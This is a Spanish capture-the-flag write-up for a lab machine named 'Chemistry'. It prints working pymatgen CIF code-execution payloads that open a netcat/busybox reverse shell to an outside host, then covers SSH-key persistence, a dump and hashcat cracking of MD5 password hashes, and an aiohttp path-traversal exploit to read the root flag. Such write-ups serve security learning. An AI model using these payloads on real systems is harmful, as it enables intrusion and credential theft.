1. Escaneo de puertos tcp
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.9.5)
|_http-server-header: Werkzeug/3.0.3 Python/3.9.5
|_http-title: Chemistry - Home
8000/tcp open http SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
|_http-title: Directory listing for /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2. Explotación
Si entramos en el servicio web del puerto 5000 vemos un servicio en el, que luego de registrarnos, podemos subir archivos .cif. Buscando por internet posibles exploits sobre dichos archivos, encontramos lo siguiente: https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f
La pagina web del puerto 5000, nos proporciona un fichero .cif de ejemplo, por lo que congiendo dicho exploit y dicho fichero de ejemplo podemos elaborar el siguiente exploit:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("nc 10.10.14.118 9001 -e /bin/sh");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Vemos que si abrimos una revershell con nc en nuestro equipo no recibimos ninguna conexión. Podemos probar a utilizar busybox para crear la revershell desde la máquina objetivo:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("busybox nc 10.10.14.118 9001 -e /bin/sh");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Conseguimos entonces acceder a través del usuario "app". Para establecer una conexión persistente, añadimos una clave ssh en el fichero .ssh/authorized_keys
del directorio home del usuario app.
3. Movimiento lateral
Podemos observar como dicho usuario no tiene la flag de usuario en su directorio, por lo que tenemos que buscarlo en otros usuarios. Descubrimos el archivo app.py, en el directorio /home de app, el cual tiene el siguiente contenido:
app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
Descrubimos que dicha database.db, se encuentra en la carpeta /home/app/CimInstance y que en ella podemos ver lo siguiente:
app@chemistry:~/instance$ sqlite3 database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
structure user
sqlite> .database
main: /home/app/instance/database.db
sqlite> .tables
structure user
sqlite> select * from user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
Si listamos los directorio /home de la máquina podemos ver que existe un usuario que se llama rosa. En el app.py vemos que utiliza un hash md5, por lo que podemos aplicar fuerza bruta para intentar obtener su contraseña:
# hashcat -m 0 hashes /usr/share/wordlist/rockyou.txt
Y vemos que obtenemos las siguientes credenciales rosa:unicorniosrosados
. Accedemos entonces por ssh con dicho usuario, y vemos que somos capaces de obtener la flag de usuario.
4. Escalado de privilegios
Listando las interfaces de red de la máquina, vemos lo que parece un servicio web en el puerto 8080. Por lo que lo forwardeamos a nuestra maquina:
# ssh -L 1234:127.0.0.1:8080 rosa@10.10.11.38
Si enumeramos con whatweb las tecnologías utilizadas en dicha página, vemos lo siguiente:
# whatweb http://127.0.0.1:1235
http://127.0.0.1:1235 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Python/3.9 aiohttp/3.9.1], IP[127.0.0.1], JQuery[3.6.0], Script, Title[Site Monitoring]
Si buscamos en internet por algun exploit que afecte a aiohttp en su versión 3.9.1 descubrimos el siguiente LFI: https://github.com/wizarddos/CVE-2024-23334. Si lo descargamos y ejecutamos buscando por el archivo /root/root.txt y con el directorio predefinido, vemos que no funciona.
Por lo que tenemos que lanzar gobuster para descubrir el directorio sobre el que realizar el LFI. Lo lanzamos con gobuster y obtenemos lo siguiente:
/assets (Status: 403) [Size: 14]
Por lo que podemos adaptar el exploit utilizando el directorio /assets
:
# python exploit.py -u http://127.0.0.1:1235 -f /root/root.txt -d /assets
Y vemos como somos capaces de obtener la flag del usuario root.